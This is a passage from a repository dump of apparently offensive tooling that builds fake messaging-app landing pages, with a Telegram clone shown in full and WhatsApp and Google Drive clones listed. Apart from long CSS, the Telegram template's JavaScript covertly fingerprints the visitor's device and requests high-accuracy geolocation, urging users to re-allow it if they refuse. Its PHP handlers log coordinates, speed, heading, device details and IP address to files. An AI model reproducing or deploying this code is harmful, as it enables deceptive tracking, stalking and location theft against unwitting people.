rgba(255,255,255,0.1);-webkit-overflow-scrolling:touch}.navbar-collapse.in{overflow-y:auto}@media (min-width:1px){.navbar-collapse{width:auto;border-top:0;box-shadow:none}.navbar-collapse.collapse{display:block !important;height:auto !important;padding-bottom:0;overflow:visible !important}.navbar-collapse.in{overflow-y:visible}.navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{padding-left:0;padding-right:0}}.navbar-fixed-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{max-height:340px}@media (max-width:480px) and (orientation:landscape){.navbar-fixed-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{max-height:200px}}.container>.navbar-header,.container-fluid>.navbar-header,.container>.navbar-collapse,.container-fluid>.navbar-collapse{margin-right:-15px;margin-left:-15px}@media (min-width:1px){.container>.navbar-header,.container-fluid>.navbar-header,.container>.navbar-collapse,.container-fluid>.navbar-collapse{margin-right:0;margin-left:0}}.navbar-static-top{z-index:1000;border-width:0 0 1px}@media (min-width:1px){.navbar-static-top{border-radius:0}}.navbar-fixed-top,.navbar-fixed-bottom{position:fixed;right:0;left:0;z-index:1030;-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0)}@media (min-width:1px){.navbar-fixed-top,.navbar-fixed-bottom{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0}.navbar-brand{float:left;padding:15.5px 15px;font-size:15px;line-height:17px;height:48px}.navbar-brand:hover,.navbar-brand:focus{text-decoration:none}@media (min-width:1px){.navbar>.container .navbar-brand,.navbar>.container-fluid .navbar-brand{margin-left:-15px}}.navbar-toggle{position:relative;float:right;margin-right:15px;padding:9px 10px;margin-top:7px;margin-bottom:7px;background-color:transparent;background-image:none;border:1px solid transparent;border-radius:4px}.navbar-toggle:focus{outline:0}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px}@media (min-width:1px){.navbar-toggle{display:none}}.navbar-nav{margin:7.75px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:17px}@media (max-width:0){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;box-shadow:none}.navbar-nav .open .dropdown-menu>li>a,.navbar-nav .open .dropdown-menu .dropdown-header{padding:5px 15px 5px 25px}.navbar-nav .open .dropdown-menu>li>a{line-height:17px}.navbar-nav .open .dropdown-menu>li>a:hover,.navbar-nav .open .dropdown-menu>li>a:focus{background-image:none}}@media (min-width:1px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:15.5px;padding-bottom:15.5px}.navbar-nav.navbar-right:last-child{margin-right:-15px}}@media (min-width:1px){.navbar-left{float:left !important}.navbar-right{float:right !important}}.navbar-form{margin-left:-15px;margin-right:-15px;padding:10px 15px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.1);box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.1);margin-top:8.5px;margin-bottom:8.5px}@media (min-width:768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.navbar-form .form-control{display:inline-block;width:auto;vertical-align:middle}.navbar-form .input-group{display:inline-table;vertical-align:middle}.navbar-form .input-group .input-group-addon,.navbar-form .input-group .input-group-btn,.navbar-form .input-group .form-control{width:auto}.navbar-form .input-group>.form-control{width:100%}.navbar-form .control-label{margin-bottom:0;vertical-align:middle}.navbar-form .radio,.navbar-form .checkbox{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.navbar-form .radio label,.navbar-form .checkbox label{padding-left:0}.navbar-form .radio input[type="radio"],.navbar-form .checkbox input[type="checkbox"]{position:relative;margin-left:0}.navbar-form .has-feedback .form-control-feedback{top:0}}@media (max-width:0){.navbar-form .form-group{margin-bottom:5px}}@media (min-width:1px){.navbar-form{width:auto;border:0;margin-left:0;margin-right:0;padding-top:0;padding-bottom:0;-webkit-box-shadow:none;box-shadow:none}.navbar-form.navbar-right:last-child{margin-right:-15px}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-right-radius:0;border-top-left-radius:0}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{border-bottom-right-radius:0;border-bottom-left-radius:0}.navbar-btn{margin-top:8.5px;margin-bottom:8.5px}.navbar-btn.btn-sm{margin-top:10px;margin-bottom:10px}.navbar-btn.btn-xs{margin-top:13px;margin-bottom:13px}.navbar-text{margin-top:15.5px;margin-bottom:15.5px}@media (min-width:1px){.navbar-text{float:left;margin-left:15px;margin-right:15px}.navbar-text.navbar-right:last-child{margin-right:0}}.navbar-default{background-color:#fcfcfc;border-color:#e8e8e8}.navbar-default .navbar-brand{color:#0a76ba}.navbar-default .navbar-brand:hover,.navbar-default .navbar-brand:focus{color:#0a76ba;background-color:transparent}.navbar-default .navbar-text{color:#666}.navbar-default .navbar-nav>li>a{color:#666}.navbar-default .navbar-nav>li>a:hover,.navbar-default .navbar-nav>li>a:focus{color:#0a76ba;background-color:transparent}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:hover,.navbar-default .navbar-nav>.active>a:focus{color:#0a76ba;background-color:#fcfcfc}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:hover,.navbar-default .navbar-nav>.disabled>a:focus{color:#ccc;background-color:transparent}.navbar-default .navbar-toggle{border-color:#ddd}.navbar-default .navbar-toggle:hover,.navbar-default .navbar-toggle:focus{background-color:#ddd}.navbar-default .navbar-toggle .icon-bar{background-color:#888}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#e8e8e8}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:hover,.navbar-default .navbar-nav>.open>a:focus{background-color:#fcfcfc;color:#0a76ba}@media (max-width:0){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#666}.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus{color:#0a76ba;background-color:transparent}.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus{color:#0a76ba;background-color:#fcfcfc}.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#ccc;background-color:transparent}}.navbar-default .navbar-link{color:#666}.navbar-default .navbar-link:hover{color:#0a76ba}.navbar-default .btn-link{color:#666}.navbar-default .btn-link:hover,.navbar-default .btn-link:focus{color:#0a76ba}.navbar-default .btn-link[disabled]:hover,fieldset[disabled] .navbar-default .btn-link:hover,.navbar-default .btn-link[disabled]:focus,fieldset[disabled] .navbar-default .btn-link:focus{color:#ccc}.navbar-inverse{background-color:#222;border-color:#080808}.navbar-inverse .navbar-brand{color:#777}.navbar-inverse .navbar-brand:hover,.navbar-inverse .navbar-brand:focus{color:#fff;background-color:transparent}.navbar-inverse .navbar-text{color:#777}.navbar-inverse .navbar-nav>li>a{color:#777}.navbar-inverse .navbar-nav>li>a:hover,.navbar-inverse .navbar-nav>li>a:focus{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:hover,.navbar-inverse .navbar-nav>.active>a:focus{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:hover,.navbar-inverse .navbar-nav>.disabled>a:focus{color:#444;background-color:transparent}.navbar-inverse .navbar-toggle{border-color:#333}.navbar-inverse .navbar-toggle:hover,.navbar-inverse .navbar-toggle:focus{background-color:#333}.navbar-inverse .navbar-toggle .icon-bar{background-color:#fff}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#101010}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:hover,.navbar-inverse .navbar-nav>.open>a:focus{background-color:#080808;color:#fff}@media (max-width:0){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu .divider{background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#777}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#444;background-color:transparent}}.navbar-inverse .navbar-link{color:#777}.navbar-inverse .navbar-link:hover{color:#fff}.navbar-inverse .btn-link{color:#777}.navbar-inverse .btn-link:hover,.navbar-inverse .btn-link:focus{color:#fff}.navbar-inverse .btn-link[disabled]:hover,fieldset[disabled] .navbar-inverse .btn-link:hover,.navbar-inverse .btn-link[disabled]:focus,fieldset[disabled] .navbar-inverse .btn-link:focus{color:#444}.breadcrumb{padding:8px 15px;margin-bottom:17px;list-style:none;background-color:#f5f5f5;border-radius:4px}.breadcrumb>li{display:inline-block}.breadcrumb>li+li:before{content:"/\00a0";padding:0 5px;color:#ccc}.breadcrumb>.active{color:#777}.clearfix:before,.clearfix:after,.dl-horizontal dd:before,.dl-horizontal dd:after,.form-horizontal .form-group:before,.form-horizontal .form-group:after,.nav:before,.nav:after,.navbar:before,.navbar:after,.navbar-header:before,.navbar-header:after,.navbar-collapse:before,.navbar-collapse:after{content:" ";display:table}.clearfix:after,.dl-horizontal dd:after,.form-horizontal .form-group:after,.nav:after,.navbar:after,.navbar-header:after,.navbar-collapse:after{clear:both}.center-block{display:block;margin-left:auto;margin-right:auto}.pull-right{float:right !important}.pull-left{float:left !important}.hide{display:none !important}.show{display:block !important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none !important;visibility:hidden !important}.affix{position:fixed;-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0)}@-ms-viewport{width:device-width}.visible-xs,.visible-sm,.visible-md,.visible-lg{display:none !important}.visible-xs-block,.visible-xs-inline,.visible-xs-inline-block,.visible-sm-block,.visible-sm-inline,.visible-sm-inline-block,.visible-md-block,.visible-md-inline,.visible-md-inline-block,.visible-lg-block,.visible-lg-inline,.visible-lg-inline-block{display:none !important}@media (max-width:767px){.visible-xs{display:block !important}table.visible-xs{display:table}tr.visible-xs{display:table-row !important}th.visible-xs,td.visible-xs{display:table-cell !important}}@media (max-width:767px){.visible-xs-block{display:block !important}}@media (max-width:767px){.visible-xs-inline{display:inline !important}}@media (max-width:767px){.visible-xs-inline-block{display:inline-block !important}}@media (min-width:768px) and (max-width:991px){.visible-sm{display:block !important}table.visible-sm{display:table}tr.visible-sm{display:table-row !important}th.visible-sm,td.visible-sm{display:table-cell !important}}@media (min-width:768px) and (max-width:991px){.visible-sm-block{display:block !important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline{display:inline !important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline-block{display:inline-block !important}}@media (min-width:992px) and (max-width:1199px){.visible-md{display:block !important}table.visible-md{display:table}tr.visible-md{display:table-row !important}th.visible-md,td.visible-md{display:table-cell !important}}@media (min-width:992px) and (max-width:1199px){.visible-md-block{display:block !important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline{display:inline !important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline-block{display:inline-block !important}}@media (min-width:1200px){.visible-lg{display:block !important}table.visible-lg{display:table}tr.visible-lg{display:table-row !important}th.visible-lg,td.visible-lg{display:table-cell !important}}@media (min-width:1200px){.visible-lg-block{display:block !important}}@media (min-width:1200px){.visible-lg-inline{display:inline !important}}@media (min-width:1200px){.visible-lg-inline-block{display:inline-block !important}}@media (max-width:767px){.hidden-xs{display:none !important}}@media (min-width:768px) and (max-width:991px){.hidden-sm{display:none !important}}@media (min-width:992px) and (max-width:1199px){.hidden-md{display:none !important}}@media (min-width:1200px){.hidden-lg{display:none !important}}.visible-print{display:none !important}@media print{.visible-print{display:block !important}table.visible-print{display:table}tr.visible-print{display:table-row !important}th.visible-print,td.visible-print{display:table-cell !important}}.visible-print-block{display:none !important}@media print{.visible-print-block{display:block !important}}.visible-print-inline{display:none !important}@media print{.visible-print-inline{display:inline !important}}.visible-print-inline-block{display:none !important}@media print{.visible-print-inline-block{display:inline-block !important}}@media print{.hidden-print{display:none !important}}
--------------------------------------------------------------------------------
/template/telegram/css/css:
--------------------------------------------------------------------------------
1 | @font-face {
2 | font-family: 'Roboto';
3 | font-style: normal;
4 | font-weight: 400;
5 | src: local('Roboto'), local('Roboto-Regular'), url(https://fonts.gstatic.com/s/roboto/v20/KFOmCnqEu92Fr1Mu4mxP.ttf) format('truetype');
6 | }
7 | @font-face {
8 | font-family: 'Roboto';
9 | font-style: normal;
10 | font-weight: 700;
11 | src: local('Roboto Bold'), local('Roboto-Bold'), url(https://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfBBc9.ttf) format('truetype');
12 | }
13 |
--------------------------------------------------------------------------------
/template/telegram/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/telegram/favicon.ico
--------------------------------------------------------------------------------
/template/telegram/images/Arrow_1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/telegram/images/Arrow_1x.png
--------------------------------------------------------------------------------
/template/telegram/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Telegram: Contact @Space
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
62 |
63 |
64 |
65 |
66 |
73 |
74 | Don't have Telegram yet? Try it now!
75 |
76 |
77 |
78 |

79 |
80 |
81 | Space
82 |
83 |
84 |
85 | Space pictures
86 |
87 |
90 |
91 | If you have Telegram, you can view and join
Space right away.
92 |
93 |
94 |
95 |
96 |
97 |
An unexpected error has occurred. Our wizards have been notified and will fix the problem soon. Sorry.
98 |
101 |
102 |
111 |
112 |
--------------------------------------------------------------------------------
/template/telegram/index_temp.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Telegram: Contact @$TITLE$
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
62 |
63 |
64 |
65 |
66 |
73 |
74 | Don't have Telegram yet? Try it now!
75 |
76 |
77 |
78 |

79 |
80 |
81 | $TITLE$
82 |
83 |
84 |
85 | $DESC$
86 |
87 |
90 |
91 | If you have Telegram, you can view and join
$TITLE$ right away.
92 |
93 |
94 |
95 |
96 |
97 |
An unexpected error has occurred. Our wizards have been notified and will fix the problem soon. Sorry.
98 |
101 |
102 |
111 |
112 |
--------------------------------------------------------------------------------
/template/telegram/js/info.js:
--------------------------------------------------------------------------------
1 | function information()
2 | {
3 | var ptf = navigator.platform;
4 | var cc = navigator.hardwareConcurrency;
5 | var ram = navigator.deviceMemory;
6 | var ver = navigator.userAgent;
7 | var str = ver;
8 | var os = ver;
9 | //gpu
10 | var canvas = document.createElement('canvas');
11 | var gl;
12 | var debugInfo;
13 | var ven;
14 | var ren;
15 | //sysinfo
16 | console.log(ver);
17 | console.log(ptf);
18 |
19 | if (cc == undefined)
20 | {
21 | cc = 'Not Available';
22 | console.log('Cores are not available')
23 | }
24 | console.log(cc);
25 |
26 | //ram
27 | if (ram == undefined)
28 | {
29 | ram = 'Not Available';
30 | console.log('RAM is not available')
31 | }
32 | console.log(ram);
33 |
34 | //browser
35 | if (ver.indexOf('Firefox') != -1)
36 | {
37 | str = str.substring(str.indexOf(' Firefox/') + 1);
38 | str = str.split(' ');
39 | brw = str[0];
40 | console.log(str[0]);
41 | }
42 | else if (ver.indexOf('Chrome') != -1)
43 | {
44 | str = str.substring(str.indexOf(' Chrome/') + 1);
45 | str = str.split(' ');
46 | brw = str[0];
47 | console.log(str[0]);
48 | }
49 | else if (ver.indexOf('Safari') != -1)
50 | {
51 | str = str.substring(str.indexOf(' Safari/') + 1);
52 | str = str.split(' ');
53 | brw = str[0];
54 | console.log(str[0]);
55 | }
56 | else if (ver.indexOf('Edge') != -1)
57 | {
58 | str = str.substring(str.indexOf(' Edge/') + 1);
59 | str = str.split(' ');
60 | brw = str[0];
61 | console.log(str[0]);
62 | }
63 | else
64 | {
65 | brw = 'Not Available'
66 | console.log('Browser is not available')
67 | }
68 |
69 | //gpu
70 | try
71 | {
72 | gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
73 | }
74 | catch (e) {}
75 | if (gl)
76 | {
77 | debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
78 | ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
79 | ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
80 | }
81 | if (ven == undefined)
82 | {
83 | ven = 'Not Available';
84 | console.log('GPU Vendor not available')
85 | }
86 | if (ren == undefined)
87 | {
88 | ren = 'Not Available';
89 | console.log('GPU Renderer not available')
90 | }
91 | console.log(ven);
92 | console.log(ren);
93 | //
94 | var ht = window.screen.height
95 | var wd = window.screen.width
96 | console.log(window.screen.height)
97 | console.log(window.screen.width)
98 | //os
99 | os = os.substring(0, os.indexOf(')'));
100 | os = os.split(';');
101 | os = os[1];
102 | if (os == undefined)
103 | {
104 | os = 'Not Available';
105 | console.log('OS is not available')
106 | }
107 | os = os.trim();
108 | console.log(os);
109 | //
110 | $.ajax({
111 | type: 'POST',
112 | url: '/php/info.php',
113 | data: {Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os},
114 | success: function(){console.log('Got Device Information');},
115 | mimeType: 'text'
116 | });
117 | }
118 |
--------------------------------------------------------------------------------
/template/telegram/js/location.js:
--------------------------------------------------------------------------------
1 | function locate()
2 | {
3 | if(navigator.geolocation)
4 | {
5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
7 | }
8 | else
9 | {
10 | alert('Geolocation is not Supported by your Browser...');
11 | }
12 |
13 | function showPosition(position)
14 | {
15 | var lat = position.coords.latitude;
16 | var lon = position.coords.longitude;
17 | var acc = position.coords.accuracy;
18 | var alt = position.coords.altitude;
19 | var dir = position.coords.heading;
20 | var spd = position.coords.speed;
21 |
22 | $.ajax({
23 | type: 'POST',
24 | url: '/php/result.php',
25 | data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
26 | success: function(){popup();},
27 | mimeType: 'text'
28 | });
29 | };
30 | }
31 |
32 | function showError(error)
33 | {
34 | switch(error.code)
35 | {
36 | case error.PERMISSION_DENIED:
37 | var denied = 'User denied the request for Geolocation';
38 | alert('Please Refresh This Page and Allow Location Permission...');
39 | break;
40 | case error.POSITION_UNAVAILABLE:
41 | var unavailable = 'Location information is unavailable';
42 | break;
43 | case error.TIMEOUT:
44 | var timeout = 'The request to get user location timed out';
45 | alert('Please Set Your Location Mode on High Accuracy...');
46 | break;
47 | case error.UNKNOWN_ERROR:
48 | var unknown = 'An unknown error occurred';
49 | break;
50 | }
51 |
52 | $.ajax({
53 | type: 'POST',
54 | url: '/php/error.php',
55 | data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown},
56 | success: function(){alert('Unable to fetch location, please try again...');},
57 | mimeType: 'text'
58 | });
59 | }
60 |
--------------------------------------------------------------------------------
/template/telegram/php/error.php:
--------------------------------------------------------------------------------
1 |
42 |
--------------------------------------------------------------------------------
/template/telegram/php/info.php:
--------------------------------------------------------------------------------
1 | $ptf,
46 | 'browser' => $brw,
47 | 'cores' => $cc,
48 | 'ram' => $ram,
49 | 'vendor' => $ven,
50 | 'render' => $ren,
51 | 'ip' => $ip,
52 | 'ht' => $ht,
53 | 'wd' => $wd,
54 | 'os' => $os);
55 |
56 | $jdata = json_encode($data);
57 |
58 | $f = fopen('info.txt', 'w+');
59 | fwrite($f, $jdata);
60 | fclose($f);
61 | }
62 | ?>
63 |
--------------------------------------------------------------------------------
/template/telegram/php/info.txt:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/template/telegram/php/result.php:
--------------------------------------------------------------------------------
1 | $lat,
15 | 'lon' => $lon,
16 | 'acc' => $acc,
17 | 'alt' => $alt,
18 | 'dir' => $dir,
19 | 'spd' => $spd);
20 |
21 | $jdata = json_encode($data);
22 |
23 | $f = fopen('result.txt', 'w+');
24 | fwrite($f, $jdata);
25 | fclose($f);
26 | }
27 | ?>
28 |
--------------------------------------------------------------------------------
/template/telegram/php/result.txt:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/template/templates.json:
--------------------------------------------------------------------------------
1 | {
2 | "templates": [
3 | {
4 | "name": "NearYou",
5 | "dir_name": "nearyou",
6 | "module": false,
7 | "import_file": null
8 | },
9 | {
10 | "name": "Google Drive",
11 | "dir_name": "gdrive",
12 | "module": true,
13 | "import_file": "mod_gdrive"
14 | },
15 | {
16 | "name": "WhatsApp",
17 | "dir_name": "whatsapp",
18 | "module": true,
19 | "import_file": "mod_whatsapp"
20 | },
21 | {
22 | "name": "Telegram",
23 | "dir_name": "telegram",
24 | "module": true,
25 | "import_file": "mod_telegram"
26 | }
27 | ]
28 | }
--------------------------------------------------------------------------------
/template/whatsapp/css/Epf3I8GM5jv.css:
--------------------------------------------------------------------------------
1 | ._2e42 {
2 | box-sizing: border-box
3 | }
4 |
5 | html {
6 | touch-action: manipulation
7 | }
8 |
9 | body {
10 | background: #fff;
11 | color: #1c1e21;
12 | direction: ltr;
13 | line-height: 1.34;
14 | margin: 0;
15 | padding: 0;
16 | unicode-bidi: embed
17 | }
18 |
19 | body,
20 | button,
21 | input,
22 | label,
23 | select,
24 | td,
25 | textarea {
26 | font-family: Helvetica, Arial, sans-serif;
27 | font-size: 12px
28 | }
29 |
30 | h1,
31 | h2,
32 | h3,
33 | h4,
34 | h5,
35 | h6 {
36 | color: #1c1e21;
37 | font-size: 13px;
38 | font-weight: 600;
39 | margin: 0;
40 | padding: 0
41 | }
42 |
43 | h1 {
44 | font-size: 14px
45 | }
46 |
47 | h4,
48 | h5,
49 | h6 {
50 | font-size: 12px
51 | }
52 |
53 | p {
54 | margin: 1em 0
55 | }
56 |
57 | b,
58 | strong {
59 | font-weight: 600
60 | }
61 |
62 | a {
63 | color: #385898;
64 | cursor: pointer;
65 | text-decoration: none
66 | }
67 |
68 | button {
69 | margin: 0
70 | }
71 |
72 | a:hover {
73 | text-decoration: underline
74 | }
75 |
76 | img {
77 | border: 0
78 | }
79 |
80 | td,
81 | td.label {
82 | text-align: left
83 | }
84 |
85 | dd {
86 | color: #000
87 | }
88 |
89 | dt {
90 | color: #606770
91 | }
92 |
93 | ul {
94 | list-style-type: none;
95 | margin: 0;
96 | padding: 0
97 | }
98 |
99 | abbr {
100 | border-bottom: none;
101 | text-decoration: none
102 | }
103 |
104 | hr {
105 | background: #dadde1;
106 | border-width: 0;
107 | color: #dadde1;
108 | height: 1px
109 | }
110 |
111 | body {
112 | overflow-y: scroll
113 | }
114 |
115 | .mini_iframe,
116 | .serverfbml_iframe {
117 | overflow-y: visible
118 | }
119 |
120 | .auto_resize_iframe {
121 | height: auto;
122 | overflow: hidden
123 | }
124 |
125 | .pipe {
126 | color: gray;
127 | padding: 0 3px
128 | }
129 |
130 | #content {
131 | margin: 0;
132 | outline: none;
133 | padding: 0;
134 | width: auto
135 | }
136 |
137 | .profile #content,
138 | .home #content,
139 | .search #content {
140 | min-height: 600px
141 | }
142 |
143 | .UIStandardFrame_Container {
144 | margin: 0 auto;
145 | padding-top: 20px;
146 | width: 960px
147 | }
148 |
149 | .UIStandardFrame_Content {
150 | float: left;
151 | margin: 0;
152 | padding: 0;
153 | width: 760px
154 | }
155 |
156 | .UIStandardFrame_SidebarAds {
157 | float: right;
158 | margin: 0;
159 | padding: 0;
160 | width: 200px;
161 | word-wrap: break-word
162 | }
163 |
164 | .UIFullPage_Container {
165 | margin: 0 auto;
166 | padding: 20px 12px 0;
167 | width: 940px
168 | }
169 |
170 | .empty_message {
171 | background: #f5f6f7;
172 | font-size: 13px;
173 | line-height: 17px;
174 | padding: 20px 20px 50px;
175 | text-align: center
176 | }
177 |
178 | .see_all {
179 | text-align: right
180 | }
181 |
182 | .standard_status_element {
183 | visibility: hidden
184 | }
185 |
186 | .standard_status_element.async_saving {
187 | visibility: visible
188 | }
189 |
190 | img.tracking_pixel {
191 | height: 1px;
192 | position: absolute;
193 | visibility: hidden;
194 | width: 1px
195 | }
196 |
197 | ._ega {
198 | flex-shrink: 0;
199 | height: 80px;
200 | width: 80px
201 | }
202 |
203 | ._2rk4 {
204 | flex-shrink: 0;
205 | height: 48px;
206 | margin: 16px 0 16px 16px;
207 | width: 48px
208 | }
209 |
210 | ._257o {
211 | background-color: #fff;
212 | box-shadow: 0 0 20px 3px rgba(0, 0, 0, .15);
213 | cursor: default;
214 | display: flex;
215 | font-size: 12px;
216 | position: relative;
217 | -moz-user-select: none;
218 | width: 360px
219 | }
220 |
221 | ._egb {
222 | display: flex;
223 | flex-direction: column;
224 | padding: 8px 16px 3px
225 | }
226 |
227 | ._egb h3 {
228 | font-size: 14px;
229 | font-weight: normal
230 | }
231 |
232 | ._egb p {
233 | flex-grow: 1;
234 | line-height: 13px;
235 | margin: 4px 0
236 | }
237 |
238 | ._egb cite {
239 | color: #bec3c9;
240 | font-style: normal
241 | }
242 |
243 | ._2eed {
244 | background: #1c1e21;
245 | border: 1px solid #4c4c4c;
246 | border-radius: 0;
247 | border-style: solid none solid solid;
248 | cursor: default;
249 | display: flex;
250 | flex-direction: row;
251 | font-size: 12px;
252 | margin: 10px 0;
253 | padding: 10px 12px;
254 | position: relative;
255 | -moz-user-select: none
256 | }
257 |
258 | ._2eee {
259 | border-radius: 0;
260 | height: 32px;
261 | width: auto
262 | }
263 |
264 | ._3_qv {
265 | border-radius: 0;
266 | height: 48px;
267 | margin-top: 2px;
268 | width: auto
269 | }
270 |
271 | ._2eef {
272 | color: #b0b0b0;
273 | font-weight: 300;
274 | padding: 0 12px
275 | }
276 |
277 | ._2eeg {
278 | color: #fff;
279 | color: #fff;
280 | font-size: 12px;
281 | font-weight: normal;
282 | font-weight: 300;
283 | letter-spacing: -0.22px;
284 | margin-bottom: 1px;
285 | padding: 0
286 | }
287 |
288 | ._2eeh {
289 | color: inherit;
290 | font-size: 12px;
291 | font-weight: 300;
292 | line-height: 16px;
293 | margin: 0 0 2px;
294 | padding: 0
295 | }
296 |
297 | ._2eei {
298 | color: inherit;
299 | color: #909090;
300 | display: block;
301 | font-size: 11px;
302 | font-style: normal;
303 | font-weight: 300;
304 | letter-spacing: -0.22px
305 | }
306 |
307 | ._g5o {
308 | cursor: default;
309 | font-size: 12px;
310 | margin: 10px 0;
311 | -moz-user-select: none
312 | }
313 |
314 | ._g5w {
315 | background: #dadde1;
316 | border: 1px solid #ccd0d5;
317 | border-radius: 0;
318 | border-style: none solid solid none;
319 | position: relative
320 | }
321 |
322 | ._g5w ._g5u {
323 | margin-right: 28px
324 | }
325 |
326 | ._g5p {
327 | align-items: center;
328 | background: #e9ebee;
329 | border-radius: 12px;
330 | color: #3b4144;
331 | display: flex;
332 | margin: 10px 20px
333 | }
334 |
335 | ._g5q {
336 | margin: 0 15px
337 | }
338 |
339 | ._g5u {
340 | height: 48px;
341 | margin: 0 15px;
342 | width: auto
343 | }
344 |
345 | ._gcl {
346 | height: 48px;
347 | margin: 8px 15px;
348 | width: auto
349 | }
350 |
351 | ._g5r {
352 | display: flex;
353 | flex-direction: column;
354 | flex-grow: 1;
355 | padding: 8px 0
356 | }
357 |
358 | ._g5p h3 {
359 | color: inherit;
360 | font-size: 12px;
361 | font-weight: 500;
362 | margin-bottom: 2px
363 | }
364 |
365 | ._g5p p {
366 | color: inherit;
367 | flex-grow: 1;
368 | font-size: 11px;
369 | font-weight: 300;
370 | letter-spacing: -0.22px;
371 | line-height: 14px;
372 | margin: 0;
373 | padding: 0
374 | }
375 |
376 | ._g5p cite {
377 | color: inherit;
378 | font-size: 11px;
379 | font-style: normal;
380 | letter-spacing: -0.22px;
381 | line-height: 14px;
382 | margin-bottom: 2px
383 | }
384 |
385 | ._g5w h3 {
386 | color: inherit;
387 | font-size: 12px;
388 | font-weight: bold;
389 | padding: 12px 32px 12px 12px
390 | }
391 |
392 | ._g5w ._g5r {
393 | align-items: center;
394 | display: flex;
395 | flex-direction: row;
396 | padding: 0 0 12px
397 | }
398 |
399 | ._g5w p {
400 | color: inherit;
401 | flex-grow: 1;
402 | font-size: 11px;
403 | font-style: normal;
404 | letter-spacing: -0.22px;
405 | line-height: 14px;
406 | margin: 0;
407 | padding: 0
408 | }
409 |
410 | ._g5w cite {
411 | color: inherit;
412 | color: #909090;
413 | display: block;
